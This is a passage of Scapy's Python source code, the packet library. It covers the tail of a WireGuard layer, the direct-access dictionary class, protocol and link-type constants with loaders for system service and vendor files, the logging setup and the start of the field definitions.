XStrFixedLenField("unencrypted_ephemeral", 0, 32), XStrFixedLenField("encrypted_nothing", 0, 16), XStrFixedLenField("mac1", 0, 16), XStrFixedLenField("mac2", 0, 16), ] class WireguardTransport(Packet): name = "Wireguard Transport" fields_desc = [ XLEIntField("receiver_index", 0), XLELongField("counter", 0), XStrField("encrypted_encapsulated_packet", None) ] class WireguardCookieReply(Packet): name = "Wireguard Cookie Reply" fields_desc = [ XLEIntField("receiver_index", 0), XStrFixedLenField("nonce", 0, 24), XStrFixedLenField("encrypted_cookie", 0, 32), ] bind_layers(Wireguard, WireguardInitiation, message_type=1) bind_layers(Wireguard, WireguardResponse, message_type=2) bind_layers(Wireguard, WireguardCookieReply, message_type=3) bind_layers(Wireguard, WireguardTransport, message_type=4) bind_layers(UDP, Wireguard, dport=51820) bind_layers(UDP, Wireguard, sport=51820) ================================================ FILE: scapy/dadict.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Direct Access dictionary. """ from scapy.error import Scapy_Exception from scapy.compat import plain_str # Typing from typing import ( Any, Dict, Generic, Iterator, List, Tuple, Type, TypeVar, Union, ) from scapy.compat import Self ############################### # Direct Access dictionary # ############################### def fixname(x): # type: (Union[bytes, str]) -> str """ Modifies a string to make sure it can be used as an attribute name. """ x = plain_str(x) if x and str(x[0]) in "0123456789": x = "n_" + x return x.translate( "________________________________________________" "0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______" "abcdefghijklmnopqrstuvwxyz____________________________" "______________________________________________________" "___________________________________________________" ) class DADict_Exception(Scapy_Exception): pass _K = TypeVar('_K') # Key type _V = TypeVar('_V') # Value type class DADict(Generic[_K, _V]): """ Direct Access Dictionary This acts like a dict, but it provides a direct attribute access to its keys through its values. This is used to store protocols, manuf... For instance, scapy fields will use a DADict as an enum:: ETHER_TYPES[2048] -> IPv4 Whereas humans can access:: ETHER_TYPES.IPv4 -> 2048 """ __slots__ = ["_name", "d"] def __init__(self, _name="DADict", **kargs): # type: (str, **Any) -> None self._name = _name self.d = {} # type: Dict[_K, _V] self.update(kargs) # type: ignore def ident(self, v): # type: (_V) -> str """ Return value that is used as key for the direct access """ if isinstance(v, (str, bytes)): return fixname(v) return "unknown" def update(self, *args, **kwargs): # type: (*Dict[_K, _V], **Dict[_K, _V]) -> None for k, v in dict(*args, **kwargs).items(): self[k] = v # type: ignore def iterkeys(self): # type: () -> Iterator[_K] for x in self.d: if not isinstance(x, str) or x[0] != "_": yield x def keys(self): # type: () -> List[_K] return list(self.iterkeys()) def __iter__(self): # type: () -> Iterator[_K] return self.iterkeys() def itervalues(self): # type: () -> Iterator[_V] return self.d.values() # type: ignore def values(self): # type: () -> List[_V] return list(self.itervalues()) def _show(self): # type: () -> None for k in self.iterkeys(): print("%10s = %r" % (k, self[k])) def __repr__(self): # type: () -> str return "<%s - %s elements>" % (self._name, len(self)) def __getitem__(self, attr): # type: (_K) -> _V return self.d[attr] def __setitem__(self, attr, val): # type: (_K, _V) -> None self.d[attr] = val def __len__(self): # type: () -> int return len(self.d) def __nonzero__(self): # type: () -> bool # Always has at least its name return len(self) > 1 __bool__ = __nonzero__ def __getattr__(self, attr): # type: (str) -> _K try: return object.__getattribute__(self, attr) # type: ignore except AttributeError: for k, v in self.d.items(): if self.ident(v) == attr: return k raise AttributeError def __dir__(self): # type: () -> List[str] return [self.ident(x) for x in self.itervalues()] def __reduce__(self): # type: () -> Tuple[Type[Self], Tuple[str], Tuple[Dict[_K, _V]]] return (self.__class__, (self._name,), (self.d,)) def __setstate__(self, state): # type: (Tuple[Dict[_K, _V]]) -> Self self.d.update(state[0]) return self ================================================ FILE: scapy/data.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Global variables and functions for handling external data sets. """ import calendar import hashlib import os import pickle import warnings from scapy.dadict import DADict, fixname from scapy.consts import FREEBSD, NETBSD, OPENBSD, WINDOWS from scapy.error import log_loading # Typing imports from typing import ( Any, Callable, Dict, Iterator, List, Optional, Tuple, Union, cast, ) from scapy.compat import DecoratorCallable ############ # Consts # ############ ETHER_ANY = b"\x00" * 6 ETHER_BROADCAST = b"\xff" * 6 # From bits/socket.h SOL_PACKET = 263 # From asm/socket.h SO_ATTACH_FILTER = 26 SO_TIMESTAMPNS = 35 # SO_TIMESTAMPNS_OLD: not 2038 safe ETH_P_ALL = 3 ETH_P_IP = 0x800 ETH_P_ARP = 0x806 ETH_P_IPV6 = 0x86dd ETH_P_MACSEC = 0x88e5 # From net/if_arp.h ARPHDR_ETHER = 1 ARPHDR_METRICOM = 23 ARPHDR_PPP = 512 ARPHDR_LOOPBACK = 772 ARPHDR_TUN = 65534 # From pcap/dlt.h DLT_NULL = 0 DLT_EN10MB = 1 DLT_EN3MB = 2 DLT_AX25 = 3 DLT_PRONET = 4 DLT_CHAOS = 5 DLT_IEEE802 = 6 DLT_ARCNET = 7 DLT_SLIP = 8 DLT_PPP = 9 DLT_FDDI = 10 if OPENBSD: DLT_RAW = 14 else: DLT_RAW = 12 DLT_RAW_ALT = 101 # At least in Argus if FREEBSD or NETBSD: DLT_SLIP_BSDOS = 13 DLT_PPP_BSDOS = 14 else: DLT_SLIP_BSDOS = 15 DLT_PPP_BSDOS = 16 if FREEBSD: DLT_PFSYNC = 121 else: DLT_PFSYNC = 18 DLT_HHDLC = 121 DLT_ATM_CLIP = 19 DLT_PPP_SERIAL = 50 DLT_PPP_ETHER = 51 DLT_SYMANTEC_FIREWALL = 99 DLT_C_HDLC = 104 DLT_IEEE802_11 = 105 DLT_FRELAY = 107 if OPENBSD: DLT_LOOP = 12 DLT_ENC = 13 else: DLT_LOOP = 108 DLT_ENC = 109 DLT_LINUX_SLL = 113 DLT_LTALK = 114 DLT_PFLOG = 117 DLT_PRISM_HEADER = 119 DLT_AIRONET_HEADER = 120 DLT_IP_OVER_FC = 122 DLT_IEEE802_11_RADIO = 127 DLT_ARCNET_LINUX = 129 DLT_LINUX_IRDA = 144 DLT_IEEE802_11_RADIO_AVS = 163 DLT_LINUX_LAPD = 177 DLT_BLUETOOTH_HCI_H4 = 187 DLT_USB_LINUX = 189 DLT_PPI = 192 DLT_IEEE802_15_4_WITHFCS = 195 DLT_BLUETOOTH_HCI_H4_WITH_PHDR = 201 DLT_AX25_KISS = 202 DLT_PPP_WITH_DIR = 204 DLT_FC_2 = 224 DLT_CAN_SOCKETCAN = 227 if OPENBSD: DLT_IPV4 = DLT_RAW DLT_IPV6 = DLT_RAW else: DLT_IPV4 = 228 DLT_IPV6 = 229 DLT_IEEE802_15_4_NOFCS = 230 DLT_USBPCAP = 249 DLT_NETLINK = 253 DLT_USB_DARWIN = 266 DLT_BLUETOOTH_LE_LL = 251 DLT_BLUETOOTH_LINUX_MONITOR = 254 DLT_BLUETOOTH_LE_LL_WITH_PHDR = 256 DLT_VSOCK = 271 DLT_NORDIC_BLE = 272 DLT_ETHERNET_MPACKET = 274 DLT_LINUX_SLL2 = 276 # From net/ipv6.h on Linux (+ Additions) IPV6_ADDR_UNICAST = 0x01 IPV6_ADDR_MULTICAST = 0x02 IPV6_ADDR_CAST_MASK = 0x0F IPV6_ADDR_LOOPBACK = 0x10 IPV6_ADDR_GLOBAL = 0x00 IPV6_ADDR_LINKLOCAL = 0x20 IPV6_ADDR_SITELOCAL = 0x40 # deprecated since Sept. 2004 by RFC 3879 IPV6_ADDR_SCOPE_MASK = 0xF0 # IPV6_ADDR_COMPATv4 = 0x80 # deprecated; i.e. ::/96 # IPV6_ADDR_MAPPED = 0x1000 # i.e.; ::ffff:0.0.0.0/96 IPV6_ADDR_6TO4 = 0x0100 # Added to have more specific info (should be 0x0101 ?) # noqa: E501 IPV6_ADDR_UNSPECIFIED = 0x10000 # from if_arp.h ARPHRD_ETHER = 1 ARPHRD_EETHER = 2 ARPHRD_AX25 = 3 ARPHRD_PRONET = 4 ARPHRD_CHAOS = 5 ARPHRD_IEEE802 = 6 ARPHRD_ARCNET = 7 ARPHRD_DLCI = 15 ARPHRD_ATM = 19 ARPHRD_METRICOM = 23 ARPHRD_SLIP = 256 ARPHRD_CSLIP = 257 ARPHRD_SLIP6 = 258 ARPHRD_CSLIP6 = 259 ARPHRD_ADAPT = 264 ARPHRD_CAN = 280 ARPHRD_PPP = 512 ARPHRD_CISCO = 513 ARPHRD_RAWHDLC = 518 ARPHRD_TUNNEL = 768 ARPHRD_FRAD = 770 ARPHRD_LOOPBACK = 772 ARPHRD_LOCALTLK = 773 ARPHRD_FDDI = 774 ARPHRD_SIT = 776 ARPHRD_FCPP = 784 ARPHRD_FCAL = 785 ARPHRD_FCPL = 786 ARPHRD_FCFABRIC = 787 ARPHRD_IRDA = 783 ARPHRD_IEEE802_TR = 800 ARPHRD_IEEE80211 = 801 ARPHRD_IEEE80211_PRISM = 802 ARPHRD_IEEE80211_RADIOTAP = 803 ARPHRD_IEEE802154 = 804 ARPHRD_NETLINK = 824 ARPHRD_VSOCKMON = 826 # from pcap/pcap-linux.c ARPHRD_LAPD = 8445 # from pcap/pcap-linux.c ARPHRD_NONE = 0xFFFE ARPHRD_TO_DLT = { # netlink -> datalink ARPHRD_ETHER: DLT_EN10MB, ARPHRD_METRICOM: DLT_EN10MB, ARPHRD_LOOPBACK: DLT_EN10MB, ARPHRD_EETHER: DLT_EN3MB, ARPHRD_AX25: DLT_AX25_KISS, ARPHRD_PRONET: DLT_PRONET, ARPHRD_CHAOS: DLT_CHAOS, ARPHRD_CAN: DLT_LINUX_SLL, ARPHRD_IEEE802_TR: DLT_IEEE802, ARPHRD_IEEE802: DLT_EN10MB, ARPHRD_ARCNET: DLT_ARCNET_LINUX, ARPHRD_FDDI: DLT_FDDI, ARPHRD_ATM: -1, ARPHRD_IEEE80211: DLT_IEEE802_11, ARPHRD_IEEE80211_PRISM: DLT_PRISM_HEADER, ARPHRD_IEEE80211_RADIOTAP: DLT_IEEE802_11_RADIO, ARPHRD_PPP: DLT_RAW, ARPHRD_CISCO: DLT_C_HDLC, ARPHRD_SIT: DLT_RAW, ARPHRD_CSLIP: DLT_RAW, ARPHRD_SLIP6: DLT_RAW, ARPHRD_CSLIP6: DLT_RAW, ARPHRD_ADAPT: DLT_RAW, ARPHRD_SLIP: DLT_RAW, ARPHRD_RAWHDLC: DLT_RAW, ARPHRD_DLCI: DLT_RAW, ARPHRD_FRAD: DLT_FRELAY, ARPHRD_LOCALTLK: DLT_LTALK, 18: DLT_IP_OVER_FC, ARPHRD_FCPP: DLT_FC_2, ARPHRD_FCAL: DLT_FC_2, ARPHRD_FCPL: DLT_FC_2, ARPHRD_FCFABRIC: DLT_FC_2, ARPHRD_IRDA: DLT_LINUX_IRDA, ARPHRD_LAPD: DLT_LINUX_LAPD, ARPHRD_NONE: DLT_RAW, ARPHRD_IEEE802154: DLT_IEEE802_15_4_NOFCS, ARPHRD_NETLINK: DLT_NETLINK, ARPHRD_VSOCKMON: DLT_VSOCK, } # Constants for PPI header types. PPI_DOT11COMMON = 2 PPI_DOT11NMAC = 3 PPI_DOT11NMACPHY = 4 PPI_SPECTRUM_MAP = 5 PPI_PROCESS_INFO = 6 PPI_CAPTURE_INFO = 7 PPI_AGGREGATION = 8 PPI_DOT3 = 9 PPI_GPS = 30002 PPI_VECTOR = 30003 PPI_SENSOR = 30004 PPI_ANTENNA = 30005 PPI_BTLE = 30006 # Human-readable type names for PPI header types. PPI_TYPES = { PPI_DOT11COMMON: 'dot11-common', PPI_DOT11NMAC: 'dot11-nmac', PPI_DOT11NMACPHY: 'dot11-nmacphy', PPI_SPECTRUM_MAP: 'spectrum-map', PPI_PROCESS_INFO: 'process-info', PPI_CAPTURE_INFO: 'capture-info', PPI_AGGREGATION: 'aggregation', PPI_DOT3: 'dot3', PPI_GPS: 'gps', PPI_VECTOR: 'vector', PPI_SENSOR: 'sensor', PPI_ANTENNA: 'antenna', PPI_BTLE: 'btle', } # On windows, epoch is 01/02/1970 at 00:00 EPOCH = calendar.timegm((1970, 1, 2, 0, 0, 0, 3, 1, 0)) - 86400 MTU = 0xffff # a.k.a give me all you have # In fact, IANA enterprise-numbers file available at # http://www.iana.org/assignments/enterprise-numbers # is simply huge (more than 2Mo and 600Ko in bz2). I'll # add only most common vendors, and encountered values. # -- arno IANA_ENTERPRISE_NUMBERS = { 9: "ciscoSystems", 35: "Nortel Networks", 43: "3Com", 311: "Microsoft", 2636: "Juniper Networks, Inc.", 4526: "Netgear", 5771: "Cisco Systems, Inc.", 5842: "Cisco Systems", 11129: "Google, Inc", 16885: "Nortel Networks", } def scapy_data_cache(name): # type: (str) -> Callable[[DecoratorCallable], DecoratorCallable] """ This decorator caches the loading of 'data' dictionaries, in order to reduce loading times. """ from scapy.main import SCAPY_CACHE_FOLDER if SCAPY_CACHE_FOLDER is None: # Cannot cache. return lambda x: x cachepath = SCAPY_CACHE_FOLDER / (name + ".pickle") def _cached_loader(func, name=name): # type: (DecoratorCallable, str) -> DecoratorCallable def load(filename=None): # type: (Optional[str]) -> Any cache_id = hashlib.sha256((filename or "").encode()).hexdigest() if cachepath.exists(): try: with cachepath.open("rb") as fd: data = pickle.load(fd) if data["id"] == cache_id: return data["content"] except Exception as ex: log_loading.info( "Couldn't load cache from %s: %s" % ( str(cachepath), str(ex), ) ) cachepath.unlink(missing_ok=True) # Cache does not exist or is invalid. content = func(filename) data = { "content": content, "id": cache_id, } try: cachepath.parent.mkdir(parents=True, exist_ok=True) with cachepath.open("wb") as fd: pickle.dump(data, fd) return content except Exception as ex: log_loading.info( "Couldn't write cache into %s: %s" % ( str(cachepath), str(ex) ) ) return content return load # type: ignore return _cached_loader def load_protocols(filename, _fallback=None, _integer_base=10, _cls=DADict[int, str]): # type: (str, Optional[Callable[[], Iterator[str]]], int, type) -> DADict[int, str] """" Parse /etc/protocols and return values as a dictionary. """ dct = _cls(_name=filename) # type: DADict[int, str] def _process_data(fdesc): # type: (Iterator[str]) -> None for line in fdesc: try: shrp = line.find("#") if shrp >= 0: line = line[:shrp] line = line.strip() if not line: continue lt = tuple(line.split()) if len(lt) < 2 or not lt[0]: continue dct[int(lt[1], _integer_base)] = fixname(lt[0]) except Exception as e: log_loading.info( "Couldn't parse file [%s]: line [%r] (%s)", filename, line, e, ) try: if not filename: raise IOError with open(filename, "r", errors="backslashreplace") as fdesc: _process_data(fdesc) except IOError: if _fallback: _process_data(_fallback()) else: log_loading.info("Can't open %s file", filename) return dct class EtherDA(DADict[int, str]): # Backward compatibility: accept # ETHER_TYPES["MY_GREAT_TYPE"] = 12 def __setitem__(self, attr, val): # type: (int, str) -> None if isinstance(attr, str): attr, val = val, attr warnings.warn( "ETHER_TYPES now uses the integer value as key !", DeprecationWarning ) super(EtherDA, self).__setitem__(attr, val) def __getitem__(self, attr): # type: (int) -> Any if isinstance(attr, str): warnings.warn( "Please use 'ETHER_TYPES.%s'" % attr, DeprecationWarning ) return super(EtherDA, self).__getattr__(attr) return super(EtherDA, self).__getitem__(attr) @scapy_data_cache("ethertypes") def load_ethertypes(filename=None): # type: (Optional[str]) -> EtherDA """"Parse /etc/ethertypes and return values as a dictionary. If unavailable, use the copy bundled with Scapy.""" def _fallback() -> Iterator[str]: # Fallback. Lazy loaded as the file is big. from scapy.libs.ethertypes import DATA return iter(DATA.split("\n")) prot = load_protocols(filename or "scapy/ethertypes", _fallback=_fallback, _integer_base=16, _cls=EtherDA) return cast(EtherDA, prot) @scapy_data_cache("services") def load_services(filename): # type: (str) -> Tuple[DADict[int, str], DADict[int, str], DADict[int, str]] # noqa: E501 tdct = DADict(_name="%s-tcp" % filename) # type: DADict[int, str] udct = DADict(_name="%s-udp" % filename) # type: DADict[int, str] sdct = DADict(_name="%s-sctp" % filename) # type: DADict[int, str] dcts = { b"tcp": tdct, b"udp": udct, b"sctp": sdct, } try: with open(filename, "rb") as fdesc: for line in fdesc: try: shrp = line.find(b"#") if shrp >= 0: line = line[:shrp] line = line.strip() if not line: continue lt = tuple(line.split()) if len(lt) < 2 or not lt[0]: continue if b"/" not in lt[1]: continue port, proto = lt[1].split(b"/", 1) try: dtct = dcts[proto] except KeyError: continue name = fixname(lt[0]) if b"-" in port: sport, eport = port.split(b"-") for i in range(int(sport), int(eport) + 1): dtct[i] = name else: dtct[int(port)] = name except Exception as e: log_loading.warning( "Couldn't parse file [%s]: line [%r] (%s)", filename, line, e, ) except IOError: log_loading.info("Can't open /etc/services file") return tdct, udct, sdct class ManufDA(DADict[str, Tuple[str, str]]): def ident(self, v): # type: (Any) -> str return fixname(v[0] if isinstance(v, tuple) else v) def _get_manuf_couple(self, mac): # type: (str) -> Tuple[str, str] oui = ":".join(mac.split(":")[:3]).upper() return self.d.get(oui, (mac, mac)) def _get_manuf(self, mac): # type: (str) -> str return self._get_manuf_couple(mac)[1] def _get_short_manuf(self, mac): # type: (str) -> str return self._get_manuf_couple(mac)[0] def _resolve_MAC(self, mac): # type: (str) -> str oui = ":".join(mac.split(":")[:3]).upper() if oui in self: return ":".join([self[oui][0]] + mac.split(":")[3:]) return mac def lookup(self, mac): # type: (str) -> Tuple[str, str] """Find OUI name matching to a MAC""" return self._get_manuf_couple(mac) def reverse_lookup(self, name, case_sensitive=False): # type: (str, bool) -> Dict[str, str] """ Find all MACs registered to a OUI :param name: the OUI name :param case_sensitive: default to False :returns: a dict of mac:tuples (Name, Extended Name) """ if case_sensitive: filtr = lambda x, l: any(x in z for z in l) # type: Callable[[str, Tuple[str, str]], bool] # noqa: E501 else: name = name.lower() filtr = lambda x, l: any(x in z.lower() for z in l) return {k: v for k, v in self.d.items() if filtr(name, v)} # type: ignore def __dir__(self): # type: () -> List[str] return [ "_get_manuf", "_get_short_manuf", "_resolve_MAC", "loopkup", "reverse_lookup", ] + super(ManufDA, self).__dir__() @scapy_data_cache("manufdb") def load_manuf(filename=None): # type: (Optional[str]) -> ManufDA """ Loads manuf file from Wireshark. :param filename: the file to load the manuf file from :returns: a ManufDA filled object """ manufdb = ManufDA(_name=filename or "scapy/manufdb") def _process_data(fdesc): # type: (Iterator[str]) -> None for line in fdesc: try: line = line.strip() if not line or line.startswith("#"): continue parts = line.split(None, 2) oui, shrt = parts[:2] lng = parts[2].lstrip("#").strip() if len(parts) > 2 else "" lng = lng or shrt manufdb[oui] = shrt, lng except Exception: log_loading.warning("Couldn't parse one line from [%s] [%r]", filename, line, exc_info=True) try: if not filename: raise IOError with open(filename, "r", errors="backslashreplace") as fdesc: _process_data(fdesc) except IOError: # Fallback. Lazy loaded as the file is big. from scapy.libs.manuf import DATA _process_data(iter(DATA.split("\n"))) return manufdb @scapy_data_cache("bluetoothids") def load_bluetoothids(filename=None): # type: (Optional[str]) -> Dict[int, str] """Load Bluetooth IDs into the cache""" from scapy.libs.bluetoothids import DATA return cast(Dict[int, str], DATA) def select_path(directories, filename): # type: (List[str], str) -> Optional[str] """Find filename among several directories""" for directory in directories: path = os.path.join(directory, filename) if os.path.exists(path): return path return None if WINDOWS: IP_PROTOS = load_protocols(os.path.join( os.environ["SystemRoot"], "system32", "drivers", "etc", "protocol", )) TCP_SERVICES, UDP_SERVICES, SCTP_SERVICES = load_services(os.path.join( os.environ["SystemRoot"], "system32", "drivers", "etc", "services", )) ETHER_TYPES = load_ethertypes() MANUFDB = load_manuf() else: IP_PROTOS = load_protocols("/etc/protocols") TCP_SERVICES, UDP_SERVICES, SCTP_SERVICES = load_services("/etc/services") ETHER_TYPES = load_ethertypes("/etc/ethertypes") MANUFDB = load_manuf( select_path( ['/usr', '/usr/local', '/opt', '/opt/wireshark', '/Applications/Wireshark.app/Contents/Resources'], "share/wireshark/manuf" ) ) BLUETOOTH_CORE_COMPANY_IDENTIFIERS = load_bluetoothids() ##################### # knowledge bases # ##################### KBBaseType = Optional[Union[str, List[Tuple[str, Dict[str, Dict[str, str]]]]]] class KnowledgeBase(object): def __init__(self, filename): # type: (Optional[Any]) -> None self.filename = filename self.base = None # type: KBBaseType def lazy_init(self): # type: () -> None self.base = "" def reload(self, filename=None): # type: (Optional[Any]) -> None if filename is not None: self.filename = filename oldbase = self.base self.base = None self.lazy_init() if self.base is None: self.base = oldbase def get_base(self): # type: () -> Union[str, List[Tuple[str, Dict[str,Dict[str,str]]]]] if self.base is None: self.lazy_init() return cast(Union[str, List[Tuple[str, Dict[str, Dict[str, str]]]]], self.base) ================================================ FILE: scapy/error.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Logging subsystem and basic exception class. """ ############################# # Logging subsystem # ############################# import logging import traceback import time from scapy.consts import WINDOWS # Typing imports from logging import LogRecord from typing import ( Any, Dict, Tuple, ) class Scapy_Exception(Exception): pass class ScapyInvalidPlatformException(Scapy_Exception): pass class ScapyNoDstMacException(Scapy_Exception): pass class ScapyFreqFilter(logging.Filter): def __init__(self): # type: () -> None logging.Filter.__init__(self) self.warning_table = {} # type: Dict[int, Tuple[float, int]] # noqa: E501 def filter(self, record): # type: (LogRecord) -> bool from scapy.config import conf # Levels below INFO are not covered if record.levelno <= logging.INFO: return True wt = conf.warning_threshold if wt > 0: stk = traceback.extract_stack() caller = 0 # type: int for _, l, n, _ in stk: if n == 'warning': break caller = l tm, nb = self.warning_table.get(caller, (0, 0)) ltm = time.time() if ltm - tm > wt: tm = ltm nb = 0 else: if nb < 2: nb += 1 if nb == 2: record.msg = "more " + str(record.msg) else: return False self.warning_table[caller] = (tm, nb) return True class ScapyColoredFormatter(logging.Formatter): """A subclass of logging.Formatter that handles colors.""" levels_colored = { 'DEBUG': 'reset', 'INFO': 'reset', 'WARNING': 'bold+yellow', 'ERROR': 'bold+red', 'CRITICAL': 'bold+white+bg_red' } def format(self, record): # type: (LogRecord) -> str message = super(ScapyColoredFormatter, self).format(record) from scapy.config import conf message = conf.color_theme.format( message, self.levels_colored[record.levelname] ) return message if WINDOWS: # colorama is bundled within IPython, but # logging.StreamHandler will be overwritten when called, # so we can't wait for IPython to call it try: import colorama colorama.init() except ImportError: pass # get Scapy's master logger log_scapy = logging.getLogger("scapy") log_scapy.propagate = False # override the level if not already set if log_scapy.level == logging.NOTSET: log_scapy.setLevel(logging.WARNING) # add a custom handler controlled by Scapy's config _handler = logging.StreamHandler() _handler.setFormatter( ScapyColoredFormatter( "%(levelname)s: %(message)s", ) ) log_scapy.addHandler(_handler) # logs at runtime log_runtime = logging.getLogger("scapy.runtime") log_runtime.addFilter(ScapyFreqFilter()) # logs in interactive functions log_interactive = logging.getLogger("scapy.interactive") log_interactive.setLevel(logging.DEBUG) # logs when loading Scapy log_loading = logging.getLogger("scapy.loading") def warning(x, *args, **kargs): # type: (str, *Any, **Any) -> None """ Prints a warning during runtime. """ log_runtime.warning(x, *args, **kargs) ================================================ FILE: scapy/fields.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Michael Farrell """ Fields: basic data structures that make up parts of packets. """ import calendar import collections import copy import datetime import inspect import math import socket import struct import time import warnings from types import MethodType from uuid import UUID from enum import Enum from scapy.config import conf from scapy.dadict import DADict from scapy.volatile import RandBin, RandByte, RandEnumKeys, RandInt, \ RandIP, RandIP6, RandLong, RandMAC, RandNum, RandShort, RandSInt, \ RandSByte, RandTermString, RandUUID, VolatileValue, RandSShort, \ RandSLong, RandFloat from scapy.data import EPOCH from scapy.error import log_runtime, Scapy_Exception from scapy.compat import bytes_hex, plain_str, raw, bytes_encode from scapy.pton_ntop import inet_ntop, inet_pton from scapy.utils import inet_aton, inet_ntoa, lhex, mac2str, str2mac, EDecimal from scapy.utils6 import in6_6to4ExtractAddr, in6_isaddr6to4, \ in6_isaddrTeredo, in6_ptop, Net6, teredoAddrExtractInfo from scapy.base_classes import ( _ScopedIP, BasePacket, Field_metaclass, Net, ScopedIP, ) # Typing imports from typing import ( Any, AnyStr, Callable, Dict, List, Generic, Optional, Set, Tuple, Type, TypeVar, Union, # func cast, TYPE_CHECKING, ) if TYPE_CHECKING: # Do not import on runtime ! (import loop) from scapy.packet import Packet class RawVal: r""" A raw value that will not be processed by the field and inserted as-is in the packet string. Example:: >>> a = IP(len=RawVal("####")) >>> bytes(a) b'F\x00####\x00\x01\x00\x005\xb5\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00' """ def __init__(self, val=b""): # type: (bytes) -> None self.val = bytes_encode(val) def __str__(self): # type: () -> str return str(self.val) def __bytes__(self): # type: () -> bytes return self.val def __len__(self): # type: () -> int return len(self.val) def __repr__(self): # type: () -> str return "" % self.val class ObservableDict(Dict[int, str]): """ Helper class to specify a protocol extendable for runtime modifications """ def __init__(self, *args, **kw): # type: (*Dict[int, str], **Any) -> None self.observers = [] # type: List[_EnumField[Any]] super(ObservableDict, self).__init__(*args, **kw) def observe(self, observer): # type: (_EnumField[Any]) -> None self.observers.append(observer) def __setitem__(self, key, value): # type: (int, str) -> None for o in self.observers: o.notify_set(self, key, value) super(ObservableDict, self).__setitem__(key, value) def __delitem__(self, key): # type: (int) -> None for o in self.observers: o.notify_del(self, key) super(ObservableDict, self).__delitem__(key) def update(self, anotherDict): # type: ignore for k in anotherDict: self[k] = anotherDict[k] ############ # Fields # ############ I = TypeVar('I') # Internal storage # noqa: E741 M = TypeVar('M') # Machine storage class Field(Generic[I, M], metaclass=Field_metaclass): """ For more information on how this works, please refer to the 'Adding new protocols' chapter in the online documentation: https://scapy.readthedocs.io/en/stable/build_dissect.html """ __slots__ = [ "name", "fmt", "default", "sz", "owners", "struct" ] islist = 0 ismutable = False holds_packets = 0 def __init__(self, name, default, fmt="H"): # type: (str, Any, str) -> None if not isinstance(name, str): raise ValueError("name should be a string") self.name = name if fmt[0] in "@=<>!": self.fmt = fmt else: self.fmt = "!" + fmt self.struct = struct.Struct(self.fmt) self.default = self.any2i(None, default) self.sz = struct.calcsize(self.fmt) # type: int self.owners = [] # type: List[Type[Packet]] def register_owner(self, cls): # type: (Type[Packet]) -> None self.owners.append(cls) def i2len(self, pkt, # type: Packet x, # type: Any ): # type: (...) -> int """Convert internal value to a length usable by a FieldLenField""" if isinstance(x, RawVal): return len(x) return self.sz def i2count(self, pkt, x): # type: (Optional[Packet], I) -> int """Convert internal value to a number of elements usable by a FieldLenField. Always 1 except for list fields""" return 1 def h2i(self, pkt, x): # type: (Optional[Packet], Any) -> I """Convert human value to internal value""" return cast(I, x) def i2h(self, pkt, x): # type: (Optional[Packet], I) -> Any """Convert internal value to human value""" return x def m2i(self, pkt, x): # type: (Optional[Packet], M) -> I """Convert machine value to internal value""" return cast(I, x) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[I]) -> M """Convert internal value to machine value""" if x is None: return cast(M, 0) elif isinstance(x, str): return cast(M, bytes_encode(x)) return cast(M, x) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Optional[I] """Try to understand the most input values possible and make an internal value from them""" # noqa: E501 return self.h2i(pkt, x) def i2repr(self, pkt, x): # type: (Optional[Packet], I) -> str """Convert internal value to a nice representation""" return repr(self.i2h(pkt, x)) def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[I]) -> bytes """Add an internal value to a string Copy the network representation of field `val` (belonging to layer `pkt`) to the raw string packet `s`, and return the new string packet. """ try: return s + self.struct.pack(self.i2m(pkt, val)) except struct.error as ex: raise ValueError( "Incorrect type of value for field %s:\n" % self.name + "struct.error('%s')\n" % ex + "To inject bytes into the field regardless of the type, " + "use RawVal. See help(RawVal)" ) def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, I] """Extract an internal value from a string Extract from the raw packet `s` the field value belonging to layer `pkt`. Returns a two-element list, first the raw packet string after having removed the extracted field, second the extracted field itself in internal representation. """ return s[self.sz:], self.m2i(pkt, self.struct.unpack(s[:self.sz])[0]) def do_copy(self, x): # type: (I) -> I if isinstance(x, list): x = x[:] # type: ignore for i in range(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x # type: ignore if hasattr(x, "copy"): return x.copy() # type: ignore return x def __repr__(self): # type: () -> str return "<%s (%s).%s>" % ( self.__class__.__name__, ",".join(x.__name__ for x in self.owners), self.name ) def copy(self): # type: () -> Field[I, M] return copy.copy(self) def randval(self): # type: () -> VolatileValue[Any] """Return a volatile object whose value is both random and suitable for this field""" # noqa: E501 fmtt = self.fmt[-1] if fmtt in "BbHhIiQq": return {"B": RandByte, "b": RandSByte, "H": RandShort, "h": RandSShort, "I": RandInt, "i": RandSInt, "Q": RandLong, "q": RandSLong}[fmtt]() elif fmtt == "s": if self.fmt[0] in "0123456789": value = int(self.fmt[:-1]) else: value = int(self.fmt[1:-1]) return RandBin(value) else: raise ValueError( "no random class for [%s] (fmt=%s)." % ( self.name, self.fmt ) ) class _FieldContainer(object): """ A field that acts as a container for another field """ __slots__ = ["fld"] def __getattr__(self, attr): # type: (str) -> Any return getattr(self.fld, attr) AnyField = Union[Field[Any, Any], _FieldContainer] class Emph(_FieldContainer): """Empathize sub-layer for display""" __slots__ = ["fld"] def __init__(self, fld): # type: (Any) -> None self.fld = fld def __eq__(self, other): # type: (Any) -> bool return bool(self.fld == other) def __hash__(self): # type: () -> int return hash(self.fld) class MayEnd(_FieldContainer): """ Allow packet dissection to end after the dissection of this field if no bytes are left. A good example would be a length field that can be 0 or a set value, and where it would be too annoying to use multiple ConditionalFields Important note: any field below this one MUST default to an empty value, else the behavior will be unexpected. """ __slots__ = ["fld"] def __init__(self, fld): # type: (Any) -> None self.fld = fld def __eq__(self, other): # type: (Any) -> bool return bool(self.fld == other) def __hash__(self): # type: () -> int return hash(self.fld) class ActionField(_FieldContainer): 